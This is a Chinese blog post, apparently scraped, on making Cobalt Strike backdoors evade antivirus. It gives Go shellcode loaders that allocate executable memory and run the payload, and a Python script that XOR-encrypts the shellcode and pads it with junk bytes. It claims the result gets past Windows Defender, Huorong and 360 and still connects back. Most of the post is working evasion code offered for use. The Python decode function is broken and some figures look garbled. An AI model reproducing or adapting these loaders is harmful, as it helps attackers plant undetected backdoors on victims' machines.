因为各类av的限制,咱们在后门上线或者权限持久化时很容易被杀软查杀,容易引发目标的警觉同时暴露了本身的ip。尤为是对于windows目标,一个免杀的后门极为关键,若是后门文件落不了地,还怎么能进一步执行呢?关于后门免杀,网上的介绍已经不少了,原理其实大同小异。看了不少网上的案例,发现网上比较多都是用C/C++和python来进行免杀,可是不少已经被杀软看的死死的,
很是容易就被识别出来了,那我想能不能用一种稍微小众一点的语言来写免杀呢,这里就不得不说到go语言。
Go语言专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序能够媲美C或C++代码的速度,并且更加安全、支持并行进程。并且go语言支持交叉编译能够跨平台。
本文基于cobalt strike生成的.c文件来进行免杀测试。html
首先生成成一个.C文件
这里先贴一个最原始的go加载代码python
package main import ( "syscall" "unsafe" ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 // 区域能够执行代码,应用程序能够读写该区域。 ) var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") ) func main() { xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...} addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0) }
这里注意:由于杀软对直接加载shellcode的通常都是落地秒,因此咱们得换种方式,将shellcode混淆加密后再解密来使用。
加密和混淆常常使用的有异或加密,AES加密,或者添加随机字符等。
可是随着如今使用这种方法的人愈来愈多,杀软检测力度也愈来愈大,因此如今混淆的关键就是方式尽可能要小众,或者本身写加密方法。
这里有个好的地方就是,如今网上实现加密混淆操做的大都是使用C/C++来完成的,有些比较好的思路用C/C++实现可能会被杀软拦截,可是若是把它移植到go上面说不定就有不同的效果。
先从整个shellcode混淆的脚本shell
def xor(shellcode, key): new_shellcode = "" key_len = len(key) # 对shellcode的每一位进行xor亦或处理 for i in range(0, len(shellcode)): s = ord(shellcode[i]) p = ord((key[i % key_len])) s = s ^ p # 与p异或,p就是key中的字符之一 s = chr(s) new_shellcode += s return new_shellcode def random_decode(shellcode): j = 0 new_shellcode = "" for i in range(0,len(shellcode)): if i % 2 == 0: new_shellcode[i] = shellcode[j] j += 1 return new_shellcode def add_random_code(shellcode, key): new_shellcode = "" key_len = len(key) # 每一个字节后面添加随机一个字节,随机字符来源于key for i in range(0, len(shellcode)): #print(ord(shellcode[i])) new_shellcode += shellcode[i] # print("&"+hex(ord(new_shellcode[i]))) new_shellcode += key[i % key_len] #print(i % key_len) return new_shellcode # 将shellcode打印输出 def str_to_hex(shellcode): raw = "" for i in range(0, len(shellcode)): s = hex(ord(shellcode[i])).replace("0x",',0x') raw = raw + s return raw if __name__ == '__main__': shellcode = "" # 这是异或和增长随机字符使用的key key = "iqe" print(shellcode[0]) print(len(shellcode)) # 首先对shellcode进行异或处理 shellcode = xor(shellcode, key) print(len(shellcode)) # 而后在shellcode中增长随机字符 shellcode = add_random_code(shellcode, key) # 将shellcode打印出来 print(str_to_hex(shellcode))
加密shellcode后,再使用go语言加载混淆后的shellcode,先解密再执行。编程
package main import ( "fmt" "syscall" "time" "unsafe" ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 // 区域能够执行代码,应用程序能够读写该区域。 ) var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") ) func main() { mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65} var ttyolller []byte key := []byte("iqe") var key_size = len(key) var shellcode_final []byte var j = 0 time.Sleep(2) // 去除垃圾代码 fmt.Print(len(mix_shellcode)) for i := 0; i < len(mix_shellcode); i++ { if (i % 2 == 0) { shellcode_final = append(shellcode_final,mix_shellcode[i]) j += 1 } } time.Sleep(3) fmt.Print(shellcode_final) // 解密异或 for i := 0; i < len(shellcode_final); i++ { ttyolller = append(ttyolller, shellcode_final[i]^key[i % key_size]) } time.Sleep(3) addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } time.Sleep(3) _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0) }
直接go build生成exe文件
生成的文件大概有2M,再通过UPX压缩后大概只有1M,这比python生成的要小不少了。
静态完美过WindowsDefender,火绒和360全家桶
能够正常上线
VT查杀率71/8
能够看到国内的就一款杀软查出来了windows
用go编译的exe文件执行后会弹出黑框这里有两个解决办法安全
https://payloads.online/archivers/2019-11-10/1
https://saucer-man.com/operation_and_maintenance/465.html#cl-5
http://iv4n.cc/go-shellcode-loader/#shellcode-loader
https://payloads.online/archivers/2019-11-10/3app